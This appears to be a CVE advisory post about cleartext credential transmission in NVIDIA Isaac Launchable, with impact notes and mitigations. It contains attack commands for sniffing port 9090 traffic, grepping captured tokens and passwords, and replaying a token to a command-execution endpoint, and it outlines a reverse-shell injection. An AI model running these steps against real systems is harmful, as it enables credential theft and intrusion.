Listen to this Post
The vulnerability arises because NVIDIA Isaac Launchable for Linux transmits sensitive information (e.g., API tokens, robot credentials, configuration data) in plaintext over network channels. The affected components use unencrypted TCP/UDP sockets or HTTP without TLS. An attacker with network access to the same segment can passively sniff traffic. The cleartext transmission exposes session identifiers, command sequences, and file uploads. By capturing this traffic, the attacker can replay authentication tokens to impersonate legitimate users. Due to the lack of encryption, the attacker can also inject crafted packets to modify robot commands or configuration parameters. This leads to arbitrary code execution on the Isaac Launchable instance, as the received data is directly parsed without integrity checks. Privilege escalation follows because the service runs with elevated permissions (e.g., root or docker group). Information disclosure includes sensitive robot maps, user credentials, and internal IPs. Data tampering allows altering mission plans or system binaries. The vulnerability is in the `isaac_launchable_comm` library, which defaults to port 9090 for control messages. No encryption layer is enforced even when TLS certificates are available. The exploit requires only a man-in-the-middle position on the same subnet.
dailycve form:
Platform: NVIDIA Isaac Launchable
Version: Not disclosed
Vulnerability: Cleartext sensitive transmission
Severity: Critical
date: May 26 2026
Prediction: June 15 2026
What Undercode Say:
Capture cleartext traffic on the default port sudo tcpdump -i eth0 port 9090 -A Filter for known sensitive strings (e.g., "token", "password") sudo tcpdump -i eth0 -l -A | grep -E "token|password|api_key" Simulate a vulnerable client sending credentials in plaintext echo "POST /auth HTTP/1.1\nHost: 192.168.1.100:9090\nContent-Length: 30\n\nuser=admin&pass=secret" | nc 192.168.1.100 9090 Check if TLS is disabled in config grep -r "enable_tls" /opt/nvidia/isaac_launchable/config/
Exploit:
- Attacker on same subnet runs
sudo tcpdump -i eth0 -w capture.pcap port 9090. - Waits for a legitimate user to launch Isaac mission – capture contains authentication token and robot commands.
3. Extracts token: `strings capture.pcap | grep “X-Auth-Token”`.
- Replays token to gain API access:
curl -H "X-Auth-Token: <token>" http://target:9090/api/exec -d "command=id". - Injects reverse shell command into unencrypted mission update packet (using packet crafting like
scapy).
6. Listener on attacker machine receives root shell.
Protection from this CVE
- Enforce TLS 1.2+ on all Isaac Launchable communication channels; set `enable_tls=true` in configuration.
- Use network segmentation to isolate Isaac Launchable from untrusted subnets.
- Deploy IDS signatures to detect plaintext credentials on port 9090.
- Apply NVIDIA patch as soon as released (expected June 15, 2026).
- Replace hardcoded keys with rotated secrets using a vault service.
Impact
- Code Execution: Remote attacker can run arbitrary commands on the host.
- Privilege Escalation: Gains root or service account rights.
- Information Disclosure: Leaks robot maps, user credentials, system logs.
- Data Tampering: Alters mission plans, corrupts sensor feeds, disables safety protocols.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
